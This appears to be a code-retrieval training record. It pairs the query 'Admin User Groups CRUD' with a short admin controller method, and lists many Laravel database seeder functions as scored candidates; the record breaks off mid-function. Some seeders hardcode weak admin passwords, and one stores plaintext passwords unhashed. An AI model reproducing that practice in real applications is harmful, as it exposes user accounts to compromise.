"public function run()\n {\n // for($i=1;$i<11;$i++){\n // DB::table('post')->insert(\n // ['title' => 'Title'.$i,\n // 'post' => 'Post'.$i,\n // 'slug' => 'Slug'.$i]\n // );\n // }\n $faker = Faker\\Factory::create();\n \n for($i=1;$i<20;$i++){\n $dname = $faker->name;\n DB::table('post')->insert(\n ['title' => $dname,\n 'post' => $faker->text($maxNbChars = 200),\n 'slug' => str_slug($dname)]\n );\n }\n }",
"public function run()\n {\n $this->call([\n CountryTableSeeder::class,\n ProvinceTableSeeder::class,\n TagTableSeeder::class\n ]);\n\n User::factory()->count(10)->create();\n Category::factory()->count(5)->create();\n Product::factory()->count(20)->create();\n Section::factory()->count(5)->create();\n Bundle::factory()->count(20)->create();\n\n $bundles = Bundle::all();\n // populate bundle-product table (morph many-to-many)\n Product::all()->each(function ($product) use ($bundles) {\n $product->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray(),\n ['default_quantity' => rand(1, 10)]\n );\n });\n // populate bundle-tags table (morph many-to-many)\n Tag::all()->each(function ($tag) use ($bundles) {\n $tag->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray()\n );\n });\n }",
"public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Contract::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Contract::create([\n 'serialnumbers' => $faker->numberBetween($min = 1000000, $max = 2000000),\n 'address' => $faker->address,\n 'landholder' => $faker->lastName,\n 'renter' => $faker->lastName,\n 'price' => $faker->numberBetween($min = 10000, $max = 50000),\n 'rent_start' => $faker->date($format = 'Y-m-d', $max = 'now'),\n 'rent_end' => $faker->date($format = 'Y-m-d', $max = 'now'),\n ]);\n }\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker=Faker\\Factory::create();\n\n for($i=0;$i<100;$i++){\n \tApp\\Blog::create([\n \t\t'title' => $faker->catchPhrase,\n 'description' => $faker->text,\n 'showns' =>true\n \t\t]);\n }\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // TO PREVENT CHECKS FOR foreien key in seeding\n\n User::truncate();\n Category::truncate();\n Product::truncate();\n Transaction::truncate();\n\n DB::table('category_product')->truncate();\n\n User::flushEventListeners();\n Category::flushEventListeners();\n Product::flushEventListeners();\n Transaction::flushEventListeners();\n\n $usersQuantities = 1000;\n $categoriesQuantities = 30;\n $productsQuantities = 1000;\n $transactionsQuantities = 1000;\n\n factory(User::class, $usersQuantities)->create();\n factory(Category::class, $categoriesQuantities)->create();\n\n factory(Product::class, $productsQuantities)->create()->each(\n function ($product) {\n $categories = Category::all()->random(mt_rand(1, 5))->pluck('id');\n $product->categories()->attach($categories);\n });\n\n factory(Transaction::class, $transactionsQuantities)->create();\n }",
"public function run()\n {\n // $this->call(UserSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n\n $this->call(BusinessTableSeeder::class);\n $this->call(PrinterTableSeeder::class);\n factory(App\\Tag::class,10)->create();\n factory(App\\Category::class,10)->create();\n factory(App\\Subcategory::class,50)->create();\n factory(App\\Provider::class,10)->create();\n factory(App\\Product::class,24)->create()->each(function($product){\n\n $product->images()->saveMany(factory(App\\Image::class, 4)->make());\n\n });\n\n\n factory(App\\Client::class,10)->create();\n }",
"public function run()\n {\n Article::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Article::create([\n 'name' => $faker->sentence,\n 'sku' => $faker->paragraph,\n 'price' => $faker->number,\n ]);\n }\n }",
"public function run()\n {\n Storage::deleteDirectory('public/products');\n Storage::makeDirectory('public/products');\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n $this->call(ProductSeeder::class);\n Order::factory(4)->create();\n Order_Detail::factory(4)->create();\n Size::factory(100)->create();\n }",
"public function run()\n {\n $this->call(RolSeeder::class);\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n Doctor::factory(25)->create();\n Patient::factory(50)->create();\n Status::factory(3)->create();\n Appointment::factory(100)->create();\n }",
"public function run()\n\t{\n\t\t\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n\t\t$faker = \\Faker\\Factory::create();\n\n\t\tTodolist::truncate();\n\n\t\tforeach(range(1, 50) as $index)\n\t\t{\n\n\t\t\t$user = User::create([\n\t\t\t\t'name' => $faker->name,\n\t\t\t\t'email' => $faker->email,\n\t\t\t\t'password' => 'password',\n\t\t\t\t'confirmation_code' => mt_rand(0, 9),\n\t\t\t\t'confirmation' => rand(0,1) == 1\n\t\t\t]);\n\n\t\t\t$list = Todolist::create([\n\t\t\t\t'name' => $faker->sentence(2),\n\t\t\t\t'description' => $faker->sentence(4),\n\t\t\t]);\n\n\t\t\t// BUILD SOME TASKS FOR EACH LIST ITEM\n\t\t\tforeach(range(1, 10) as $index) \n\t\t\t{\n\t\t\t\t$task = new Task;\n\t\t\t\t$task->name = $faker->sentence(2);\n\t\t\t\t$task->description = $faker->sentence(4);\n\t\t\t\t$list->tasks()->save($task);\n\t\t\t}\n\n\t\t}\n\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 1'); \n\n\t}",
"public function run()\n {\n Campus::truncate();\n Canteen::truncate();\n Dorm::truncate();\n\n $faker = Faker\\Factory::create();\n $schools = School::all();\n foreach ($schools as $school) {\n \tforeach (range(1, 2) as $index) {\n\t \t$campus = Campus::create([\n\t \t\t'school_id' => $school->id,\n\t \t\t'name' => $faker->word . '校区',\n\t \t\t]);\n\n \t$campus->canteens()->saveMany(factory(Canteen::class, mt_rand(2,3))->make());\n $campus->dorms()->saveMany(factory(Dorm::class, mt_rand(2,3))->make());\n\n }\n }\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'seq_q'=>'1',\n 'seq_a'=>'admin'\n ]);\n\n // DB::table('bloods')->insert([\n // ['name' => 'A+'],\n // ['name' => 'A-'],\n // ['name' => 'B+'],\n // ['name' => 'B-'],\n // ['name' => 'AB+'],\n // ['name' => 'AB-'],\n // ['name' => 'O+'],\n // ['name' => 'O-'],\n // ]);\n\n \n }",
"public function run()\n {\n // $this->call(UserTableSeeder::class);\n \\App\\User::create([\n 'name'=>'PAPE SAMBA NDOUR',\n 'email'=>'[email protected]',\n 'password'=>bcrypt('Admin1122'),\n ]);\n\n $faker = Faker::create();\n\n for ($i = 0; $i < 100 ; $i++)\n {\n $firstName = $faker->firstName;\n $lastName = $faker->lastName;\n $niveau = \\App\\Niveau::inRandomOrder()->first();\n \\App\\Etudiant::create([\n 'prenom'=>$firstName,\n 'nom'=>$lastName,\n 'niveau_id'=>$niveau->id\n ]);\n }\n\n\n }",
"public function run()\n {\n //\n DB::table('foods')->delete();\n\n Foods::create(array(\n 'name' => 'Chicken Wing',\n 'author' => 'Bambang',\n 'overview' => 'a deep-fried chicken wing, not in spicy sauce'\n ));\n\n Foods::create(array(\n 'name' => 'Beef ribs',\n 'author' => 'Frank',\n 'overview' => 'Slow baked beef ribs rubbed in spices'\n ));\n\n Foods::create(array(\n 'name' => 'Ice cream',\n 'author' => 'Lou',\n 'overview' => ' A sweetened frozen food typically eaten as a snack or dessert.'\n ));\n\n }",
"public function run()\n {\n // Let's truncate our existing records to start from scratch.\n News::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 10; $i++) {\n News::create([\n 'title' => $faker->sentence,\n 'summary' => $faker->sentence,\n 'content' => $faker->paragraph,\n 'imagePath' => '/img/exclamation_mark.png'\n ]);\n }\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 3)->create();\n factory(App\\Models\\Category::class, 3)\n ->create()\n ->each(function ($u) {\n $u->courses()->saveMany(factory(App\\Models\\Course::class,3)->make())->each(function ($c){\n $c->exams()->saveMany(factory(\\App\\Models\\Exam::class,3)->make())->each(function ($e){\n $e->questions()->saveMany(factory(\\App\\Models\\Question::class,4)->make())->each(function ($q){\n $q->answers()->saveMany(factory(\\App\\Models\\Answer::class,4)->make())->each(function ($a){\n $a->correctAnswer()->save(factory(\\App\\Models\\Correct_answer::class)->make());\n });\n });\n });\n });\n\n });\n\n }",
"public function run()\n {\n \\DB::table('employees')->delete();\n\n $faker = \\Faker\\Factory::create('ja_JP');\n\n $role_id = ['1','2','3'];\n\n for ($i = 0; $i < 10; $i++) {\n \\App\\Models\\Employee::create([\n 'last_name' =>$faker->lastName() ,\n 'first_name' => $faker->firstName(),\n 'mail' => $faker->email(),\n 'password' => Hash::make( \"password.$i\"),\n 'birthday' => $faker->date($format='Y-m-d',$max='now'),\n 'role_id' => $faker->randomElement($role_id)\n ]);\n }\n }",
"public function run()\n {\n\n DB::table('clients')->delete();\n DB::table('trips')->delete();\n error_log('empty tables done.');\n\n $random_cities = City::inRandomOrder()->select('ar_name')->limit(5)->get();\n $GLOBALS[\"random_cities\"] = $random_cities->pluck('ar_name')->toArray();\n\n $random_airlines = Airline::inRandomOrder()->select('code')->limit(5)->get();\n $GLOBALS[\"random_airlines\"] = $random_airlines->pluck('code')->toArray();\n\n factory(App\\Client::class, 5)->create();\n error_log('Client seed done.');\n\n\n factory(App\\Trip::class, 50)->create();\n error_log('Trip seed done.');\n\n\n factory(App\\Quicksearch::class, 10)->create();\n error_log('Quicksearch seed done.');\n }",
"public function run()\n {\n // Admins\n User::factory()->create([\n 'name' => 'Zaiman Noris',\n 'username' => 'rognales',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n User::factory()->create([\n 'name' => 'Affiq Rashid',\n 'username' => 'affiqr',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n // Only seed test data in non-prod\n if (! app()->isProduction()) {\n Member::factory()->count(1000)->create();\n Staff::factory()->count(1000)->create();\n\n Participant::factory()\n ->addSpouse()\n ->addChildren()\n ->addInfant()\n ->addOthers()\n ->count(500)\n ->hasUploads(2)\n ->create();\n }\n }",
"public function run()\n {\n $this->call([\n RoleSeeder::class,\n UserSeeder::class,\n ]);\n\n \\App\\Models\\Category::factory(4)->create();\n \\App\\Models\\View::factory(6)->create();\n \\App\\Models\\Room::factory(8)->create();\n \n $rooms = \\App\\Models\\Room::all();\n // \\App\\Models\\User::all()->each(function ($user) use ($rooms) { \n // $user->rooms()->attach(\n // $rooms->random(rand(1, \\App\\Models\\Room::max('id')))->pluck('id')->toArray()\n // ); \n // });\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n Employee::factory()->create(['email' => '[email protected]']);\n Brand::factory()->count(3)->create();\n $this->call([\n TagSeeder::class,\n AttributeSeeder::class,\n AttributeValueSeeder::class,\n ProductSeeder::class,\n ]);\n }",
"public function run()\n {\n $this->call(RolesTableSeeder::class); // crée les rôles\n $this->call(PermissionsTableSeeder::class); // crée les permissions\n\n factory(Employee::class,3)->create();\n factory(Provider::class,1)->create();\n\n $user = User::create([\n 'name'=>'Alioune Bada Ndoye',\n 'email'=>'[email protected]',\n 'phone'=>'773012470',\n 'password'=>bcrypt('123'),\n ]);\n Employee::create([\n 'job'=>'Informaticien',\n 'user_id'=>User::where('email','[email protected]')->first()->id,\n 'point_id'=>Point::find(1)->id,\n ]);\n $user->assignRole('admin');\n }",
"public function run()\n {\n // $this->call(UserSeeder::class);\n factory(User::class, 1)\n \t->create(['email' => '[email protected]']);\n\n factory(Category::class, 5)->create();\n }",
"public function run()\n {\n //$this->call(UsersTableSeeder::class);\n $this->call(rootSeed::class);\n factory(App\\Models\\Egresado::class,'hombre',15)->create();\n factory(App\\Models\\Egresado::class,'mujer',15)->create();\n factory(App\\Models\\Administrador::class,5)->create();\n factory(App\\Models\\Notificacion::class,'post',10)->create();\n factory(App\\Models\\Notificacion::class,'mensaje',5)->create();\n factory(App\\Models\\Egresado::class,'bajaM',5)->create();\n factory(App\\Models\\Egresado::class,'bajaF',5)->create();\n factory(App\\Models\\Egresado::class,'suscritam',5)->create();\n factory(App\\Models\\Egresado::class,'suscritaf',5)->create();\n }",
"public function run()\n {\n \n User::factory(1)->create([\n 'rol'=>'EPS'\n ]);\n Person::factory(10)->create();\n $this->call(EPSSeeder::class);\n $this->call(OfficialSeeder::class);\n $this->call(VVCSeeder::class);\n $this->call(VaccineSeeder::class);\n }",
"public function run()\n {\n // $faker=Faker::create();\n // foreach(range(1,100) as $index)\n // {\n // DB::table('products')->insert([\n // 'name' => $faker->name,\n // 'price' => rand(10,100000)/100\n // ]);\n // }\n }",
"public function run()\n {\n $this->call([\n LanguagesTableSeeder::class,\n ListingAvailabilitiesTableSeeder::class,\n ListingTypesTableSeeder::class,\n RoomTypesTableSeeder::class,\n AmenitiesTableSeeder::class,\n UsersTableSeeder::class,\n UserLanguagesTableSeeder::class,\n ListingsTableSeeder::class,\n WishlistsTableSeeder::class,\n StaysTableSeeder::class,\n GuestsTableSeeder::class,\n TripsTableSeeder::class,\n ReviewsTableSeeder::class,\n RatingsTableSeeder::class,\n PopularDestinationsTableSeeder::class,\n ImagesTableSeeder::class,\n ]);\n\n // factory(App\\User::class, 5)->states('host')->create();\n // factory(App\\User::class, 10)->states('hostee')->create();\n\n // factory(App\\User::class, 10)->create();\n // factory(App\\Models\\Listing::class, 30)->create();\n }",
"public function run()\n {\n Schema::disableForeignKeyConstraints();\n Grade::truncate();\n Schema::enableForeignKeyConstraints();\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 10; $i++) {\n Grade::create([\n 'letter' => $faker->randomElement(['а', 'б', 'в']),\n 'school_id' => $faker->unique()->numberBetween(1, School::count()),\n 'level' => 1\n ]);\n }\n }",
"public function run()\n {\n // $this->call(UserSeeder::class);\n factory(App\\User::class,5)->create();//5 User created\n factory(App\\Model\\Genre::class,5)->create();//5 genres\n factory(App\\Model\\Film::class,6)->create();//6 films\n factory(App\\Model\\Comment::class, 20)->create();// 20 comments\n }",
"public function run()\n {\n\n $this->call(UserSeeder::class);\n factory(Empresa::class,10)->create();\n factory(Empleado::class,50)->create();\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n User::create([\n 'name' => 'jose luis',\n 'email' => '[email protected]',\n 'password' => bcrypt('xxxxxx'),\n 'role' => 'admin',\n ]);\n\n Category::create([\n 'name' => 'inpods',\n 'description' => 'auriculares inalambricos que funcionan con blouthue genial'\n ]);\n\n Category::create([\n 'name' => 'other',\n 'description' => 'otra cosa diferente a un inpods'\n ]);\n\n\n /* Create 10 products */\n Product::factory(10)->create();\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Russell'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Bitfumes'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Paul'\n ]);\n }",
"public function run()\n {\n $user_ids = [1,2,3];\n $faker = app(\\Faker\\Generator::class);\n $posts = factory(\\App\\Post::class)->times(50)->make()->each(function($post) use ($user_ids,$faker){\n $post->user_id = $faker->randomElement($user_ids);\n });\n \\App\\Post::insert($posts->toArray());\n }",
"public function run()\n {\n // Vaciar la tabla.\n Favorite::truncate();\n $faker = \\Faker\\Factory::create();\n // Crear artículos ficticios en la tabla\n\n // factory(App\\Models\\User::class, 2)->create()->each(function ($user) {\n // $user->users()->saveMany(factory(App\\Models\\User::class, 25)->make());\n //});\n }",
"public function run()\n\t{\n\t\t$this->call(ProductsTableSeeder::class);\n\t\t$this->call(CategoriesTableSeeder::class);\n\t\t$this->call(BrandsTableSeeder::class);\n\t\t$this->call(ColorsTableSeeder::class);\n\n\t\t$products = \\App\\Product::all();\n \t$categories = \\App\\Category::all();\n \t$brands = \\App\\Brand::all();\n \t$colors = \\App\\Color::all();\n\n\t\tforeach ($products as $product) {\n\t\t\t$product->colors()->sync($colors->random(3));\n\n\t\t\t$product->category()->associate($categories->random(1)->first());\n\t\t\t$product->brand()->associate($brands->random(1)->first());\n\n\t\t\t$product->save();\n\t\t}\n\n\t\t// for ($i = 0; $i < count($products); $i++) {\n\t\t// \t$cat = $categories[rand(0,5)];\n\t\t// \t$bra = $brands[rand(0,7)];\n\t\t// \t$cat->products()->save($products[$i]);\n\t\t// \t$bra->products()->save($products[$i]);\n\t\t// }\n\n\t\t// $products = factory(App\\Product::class)->times(20)->create();\n\t\t// $categories = factory(App\\Category::class)->times(6)->create();\n\t\t// $brands = factory(App\\Brand::class)->times(8)->create();\n\t\t// $colors = factory(App\\Color::class)->times(15)->create();\n\t}",
"public function run()\n {\n /*$this->call(UsersTableSeeder::class);\n $this->call(GroupsTableSeeder::class);\n $this->call(TopicsTableSeeder::class);\n $this->call(CommentsTableSeeder::class);*/\n DB::table('users')->insert([\n 'name' => 'pkw',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'type' => '1'\n ]);\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker::create();\n foreach (range(1,200) as $index) {\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'phone' => $faker->randomDigitNotNull,\n 'address'=> $faker->streetAddress,\n 'password' => bcrypt('secret'),\n ]);\n }\n }",
"public function run()\n {\n $this->call(UsersSeeder::class);\n User::factory(2)->create();\n Company::factory(2)->create();\n\n }",
"public function run()\n {\n echo PHP_EOL , 'seeding roles...';\n\n Role::create(\n [\n 'name' => 'Admin',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Principal',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Teacher',\n 'deletable' => false,\n ]\n );\n\n Role::create(\n [\n 'name' => 'Student',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Parents',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Accountant',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Librarian',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Receptionist',\n 'deletable' => false,\n ]\n );\n\n\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->call(QuestionTableSeed::class);\n\n $this->call([\n QuestionTableSeed::class,\n AlternativeTableSeed::class,\n ScheduleActionTableSeeder::class,\n UserTableSeeder::class,\n CompanyClassificationTableSeed::class,\n ]);\n // DB::table('clients')->insert([\n // 'name' => 'Empresa-02',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('07.052.477/0001-60'),\n // ]);\n }",
"public function run()\n {\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 5; $i++) {\n Runner::create([\n 'external_id' => $faker->uuid,\n 'name' => $faker->name,\n 'race_id' =>rand(1,5),\n 'age' => rand(30, 45),\n 'sex' => $faker->randomElement(['male', 'female']),\n 'color' => $faker->randomElement(['#ecbcb4', '#d1a3a4']),\n ]);\n }\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n User::factory()->create([\n 'name' => 'Carlos',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt('123456'), // password\n 'remember_token' => Str::random(10),\n ]);\n \n $this->call([PostsTableSeeder::class]);\n $this->call([TagTableSeeder::class]);\n\n }",
"public function run()\n {\n $this->call(AlumnoSeeder::class);\n //Alumnos::factory()->count(30)->create();\n //DB::table('alumnos')->insert([\n // 'dni_al' => '13189079',\n // 'nom_al' => 'Jose',\n // 'ape_al' => 'Araujo',\n // 'rep_al' => 'Principal',\n // 'esp_al' => 'Tecnologia',\n // 'lnac_al' => 'Valencia'\n //]);\n }",
"public function run()\n {\n Eloquent::unguard();\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n // $this->call([\n // CountriesTableSeeder::class,\n // ]);\n\n factory(App\\User::class, 100)->create();\n factory(App\\Type::class, 10)->create();\n factory(App\\Item::class, 100)->create();\n factory(App\\Order::class, 1000)->create();\n\n $items = App\\Item::all();\n\n App\\Order::all()->each(function($order) use ($items) {\n\n $n = rand(1, 10);\n\n $order->items()->attach(\n $items->random($n)->pluck('id')->toArray()\n , ['quantity' => $n]);\n\n $order->total = $order->items->sum(function($item) {\n return $item->price * $item->pivot->quantity;\n });\n\n $order->save();\n\n });\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'izzanni',\n \n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'aina',\n\n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'sab',\n\n ]\n );\n }",
"public function run()\n {\n\n factory('App\\Models\\Pessoa', 60)->create();\n factory('App\\Models\\Profissional', 10)->create();\n factory('App\\Models\\Paciente', 50)->create();\n $this->call(UsersTableSeeder::class);\n $this->call(ProcedimentoTableSeeder::class);\n // $this->call(PessoaTableSeeder::class);\n // $this->call(ProfissionalTableSeeder::class);\n // $this->call(PacienteTableSeeder::class);\n // $this->call(AgendaProfissionalTableSeeder::class);\n }",
"public function run()\n {\n //Acá se define lo que el seeder va a hacer.\n //insert() para insertar datos.\n //Array asociativo. La llave es el nombre de la columna.\n// DB::table('users')->insert([\n// //Para un solo usuario.\n// 'name' => 'Pedrito Perez',\n// 'email' => '[email protected]',\n// 'password' => bcrypt('123456')\n// ]);//Se indica el nombre de la tabla.\n\n //Crea 50 usuarios (sin probar)\n// factory(App\\User::class, 50)->create()->each(function($u) {\n// $u->posts()->save(factory(App\\Post::class)->make());\n// });\n\n factory(App\\User::class, 10)->create(); //Así se ejecuta el model factory creado en ModelFactory.php\n\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //nhập liệu mẫu cho bảng users\n DB::table('users')->insert([\n \t['id'=>'1001', 'name'=>'Phan Thị Hiền', 'email'=>'[email protected]', 'password'=>'123456', 'isadmin'=>1],\n \t['id'=>'1002', 'name'=>'Phan Thị Hà', 'email'=>'[email protected]', 'password'=>'111111', 'isadmin'=>0]\n ]);\n\n\n //nhập liệu mẫu cho bảng suppliers\n DB::table('suppliers')->insert([\n \t['name'=>'FPT', 'address'=>'151 Hùng Vương, TP. Đà Nẵng', 'phonenum'=>'0971455395'],\n \t['name'=>'Điện Máy Xanh', 'address'=>'169 Phan Châu Trinh, TP. Đà Nẵng', 'phonenum'=>'0379456011']\n ]);\n\n\n //Bảng phiếu bảo hành\n }",
"public function run()\n {\n \t// DB::table('categories')->truncate();\n // factory(App\\Models\\Category::class, 10)->create();\n Schema::disableForeignKeyConstraints();\n Category::truncate();\n $faker = Faker\\Factory::create();\n\n $categories = ['SAMSUNG','NOKIA','APPLE','BLACK BERRY'];\n foreach ($categories as $key => $value) {\n Category::create([\n 'name'=>$value,\n 'description'=> 'This is '.$value,\n 'markup'=> rand(10,100),\n 'category_id'=> null,\n 'UUID' => $faker->uuid,\n ]);\n }\n }"
] | [
"0.8013876",
"0.79804534",
"0.7976992",
"0.79542726",
"0.79511505",
"0.7949612",
"0.794459",
"0.7942486",
"0.7938189",
"0.79368967",
"0.79337025",
"0.78924936",
"0.78811055",
"0.78790957",
"0.78787595",
"0.787547",
"0.7871811",
"0.78701615",
"0.7851422",
"0.7850352",
"0.7841468",
"0.7834583",
"0.7827792",
"0.7819104",
"0.78088796",
"0.7802872",
"0.7802348",
"0.78006834",
"0.77989215",
"0.7795819",
"0.77903426",
"0.77884805",
"0.77862066",
"0.7778816",
"0.7777486",
"0.7765202",
"0.7762492",
"0.77623445",
"0.77621746",
"0.7761383",
"0.77606887",
"0.77596676",
"0.7757001",
"0.7753607",
"0.7749522",
"0.7749292",
"0.77466977",
"0.7729947",
"0.77289546",
"0.772796",
"0.77167094",
"0.7714503",
"0.77140456",
"0.77132195",
"0.771243",
"0.77122366",
"0.7711113",
"0.77109736",
"0.7710777",
"0.7710086",
"0.7705484",
"0.770464",
"0.7704354",
"0.7704061",
"0.77027386",
"0.77020216",
"0.77008796",
"0.7698617",
"0.76985973",
"0.76973504",
"0.7696405",
"0.7694293",
"0.7692694",
"0.7691264",
"0.7690576",
"0.76882726",
"0.7687433",
"0.7686844",
"0.7686498",
"0.7685065",
"0.7683827",
"0.7679184",
"0.7678287",
"0.76776296",
"0.76767945",
"0.76726556",
"0.76708084",
"0.76690495",
"0.766872",
"0.76686716",
"0.7666299",
"0.76625943",
"0.7662227",
"0.76613766",
"0.7659881",
"0.7656644",
"0.76539344",
"0.76535016",
"0.7652375",
"0.7652313",
"0.7652022"
] | 0.0 | -1 |
Admin User Groups CRUD | public function admin_user_group()
{
$crud = $this->generate_crud('admin_groups');
$this->mTitle.= 'Admin User Groups';
$this->render_crud();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function admin_user_group()\n\t{\n\t\t$crud = $this->generate_crud('admin_groups');\n\t\t$crud->set_theme('datatables');\n\t\t$this->mPageTitle = 'Admin User Groups';\n\t\t$this->render_crud();\n\t}",
"public function editUserGroup($id)\n {\n\t if($this->validateUserGroup($id)=='true'){\n\t\t//This was checking for the administrators of the group so that in case one had already been assigned a group\n\t\t//then there would not be any need to return them to administer another group, but this design approach was dropped\n\t\t//and a user can now administer multiple groups\n\t\t$special_users=Company::find(Auth::User()->company_id)->hasUserGroups()->get();\n $groupAdmins[]='';\n for($i=0; $i<count($special_users); $i++){\n $groupAdmins[]=$special_users[$i]->administrator;\n }\n\t\t\n\t\t$group = User_Group::find($id);\n\t\t\n\t\t$administratorUser = DB::table('users')->where('id',$group->administrator)->first();\n\t\t\n\t\t\n $administrators = DB::table('users')\n\t\t\t\t\t\t\t->join('role_user','role_user.user_id','=','users.id')\n\t\t\t\t\t\t\t->where('company_id',Auth::User()->company_id)\n\t\t\t\t\t\t\t->where('role_user.role_id','=',2)\n\t\t\t\t\t\t\t->orderByRaw(\"CASE WHEN users.name='$administratorUser->name' THEN -1 ELSE users.name END\")\n\t\t\t\t\t\t\t->lists('users.name','users.id');\n\t\t\t\t\t\t\t\n\t\t//This returns the group members\n\t\t$members = DB::select(DB::raw(\n \"select users.id as user_id, users.name, users.email from users\n\t\t\t\t\t\t\t\tjoin role_user on role_user.user_id = users.id\n\t\t\t\t\t\t\t\twhere users.id in (select user_in_groups.user_id from user_in_groups \n\t\t\t\t\t\t\t\twhere user_in_groups.user_group_id = :groupId) and role_user.role_id != 1 and users.company_id = :companyId\"),\n array(\"groupId\"=>$id,\"companyId\"=>Auth::User()->company_id));\n\n\t\t\t\t\t\t\t\n\t\t//This returns all users that are not in this group\n\t\t$users = DB::select(DB::raw(\n \"select users.id as user_id, users.name, users.email from users\n\t\t\t\t\t\t\t\tjoin role_user on role_user.user_id = users.id\n\t\t\t\t\t\t\t\twhere users.id not in (select user_in_groups.user_id from user_in_groups \n\t\t\t\t\t\t\t\twhere user_in_groups.user_group_id = :groupId) and role_user.role_id != 1 and users.company_id = :companyId\"),\n array(\"groupId\"=>$id,\"companyId\"=>Auth::User()->company_id));\n\t\t\n return view('usergroup.editAdmin')\n\t\t\t\t\t\t->with('administrators',$administrators)\n\t\t\t\t\t\t->with('group',$group)\n\t\t\t\t\t\t->with('users',$users)\n\t\t\t\t\t\t->with('members',$members);\n\n }else{\n return view('errors.404')->with('title',' User group not found. ')\n ->with('message','The group you requested does not belong to your company.');\n }\n }",
"function admin_groups() {\r\n if (empty($this->RequestersPermission->belongsTo)) {\r\n $this->RequestersPermission->bindModel(array(\r\n 'belongsTo' => array('Permission')\r\n ), false);\r\n }\r\n\r\n set_time_limit(300);\r\n /////////\r\n //TODO: 1. Delete unrelated permissions\r\n /////////\r\n /////////\r\n //2. Get permissions list \"from app\"\r\n //and use names AS keys\r\n /////////\r\n $permissionsNames = $this->_get_permissions_list_from_app();\r\n $permissionsNames = array_combine($permissionsNames, array_fill(0, count($permissionsNames), false));\r\n\r\n /////////\r\n //3. Prepare $permissionsNames data for view\r\n /////////\r\n $regexp = '^[a-z0-9_]*:([*]|[a-z0-9_]*:([*]|[a-z0-9_]+:[*]|[a-z0-9_]+:[a-z0-9_]+|[a-z0-9_]+:[a-z0-9_]+:own))$';\r\n $this->Permission->Behaviors->attach('Containable');\r\n $permissions = $this->Permission->find('all', array(\r\n 'conditions' => array('or' => array('Permission.name REGEXP \"' . $regexp . '\"', 'Permission.name' => '*')),\r\n 'contain' => array('Group'),\r\n ));\r\n\r\n foreach ($permissions AS &$permission) {\r\n if (isSet($permissionsNames[$permission['Permission']['name']])) {\r\n $groupsByIds = array();\r\n foreach ($permission['Group'] AS $group) {\r\n $groupsByIds[$group['id']] = $group;\r\n }\r\n $permission['Group'] = $groupsByIds;\r\n $permissionsNames[$permission['Permission']['name']] = $permission;\r\n }\r\n }\r\n\r\n\r\n foreach ($permissionsNames AS $key => &$permission) {\r\n if (empty($permission)) {\r\n $permission = array('Permission' => array('name' => $key), 'Group' => array());\r\n }\r\n }\r\n\r\n $this->set('permissionsNames', $permissionsNames);\r\n\r\n /////////\r\n //4. Prepare $groups data for view\r\n /////////\r\n $this->set('groups', $this->Permission->Group->find('list', array('order' => 'Group.order ASC')));\r\n\r\n /////////\r\n //5. Save permissions if data is sent\r\n /////////\r\n if (!empty($this->request->data)) {\r\n\r\n $groups = $this->Permission->Group->find('list', array('fields' => array('id', 'alias')));\r\n\r\n //przesĹ‚ano zserializowane dane - trzeba odtworzyć\r\n if (!empty($this->request->data['Serialized']['text'])) 